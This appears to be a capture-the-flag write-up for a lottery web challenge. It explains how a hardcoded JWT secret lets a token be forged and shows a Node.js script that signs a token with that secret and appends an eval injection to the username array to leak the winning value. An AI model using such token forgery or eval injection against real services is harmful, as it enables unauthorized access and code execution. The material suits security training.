Challenge

A lottery app that hands out a signed JWT. Guessing the winning value outright is hopeless, somewhere around 2^888.

Approach

The signing secret is hardcoded and exposed, so the token is no longer a trust boundary. I can decode it, change it, and re-sign it so the server still accepts it.

The server builds a winner value and later reaches eval on data I control. The username field is an array, so I can append a payload that evaluates winner and pulls it back out.

Solution

Forge a token whose username array ends with the injection, then sign it with the leaked secret:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const cry = require('crypto');
const jwt = require('jsonwebtoken');
const secret = "0ca04547f860592dbb2be76b4da2c73e6cc072e6d874bd127801763be8ea74c1c02a5d6d5d79d0989eaf8f67ff2c7512c4524c20b2e126e53afe68ea9c13884b";
const inject = "' eval(winner)''"

data = {
    username: [
      cry.randomBytes(111).toString('hex'),
      cry.randomBytes(111).toString('hex'),
      cry.randomBytes(111).toString('hex'),
      cry.randomBytes(111).toString('hex'),
      cry.randomBytes(111).toString('hex'),
      inject
    ]
  };

const token = jwt.sign(data, secret);

// Extract the payload from the token
const payload = JSON.parse(atob(token.split('.')[1]));

console.log(payload);
console.log(token)

Send the forged token back to the server.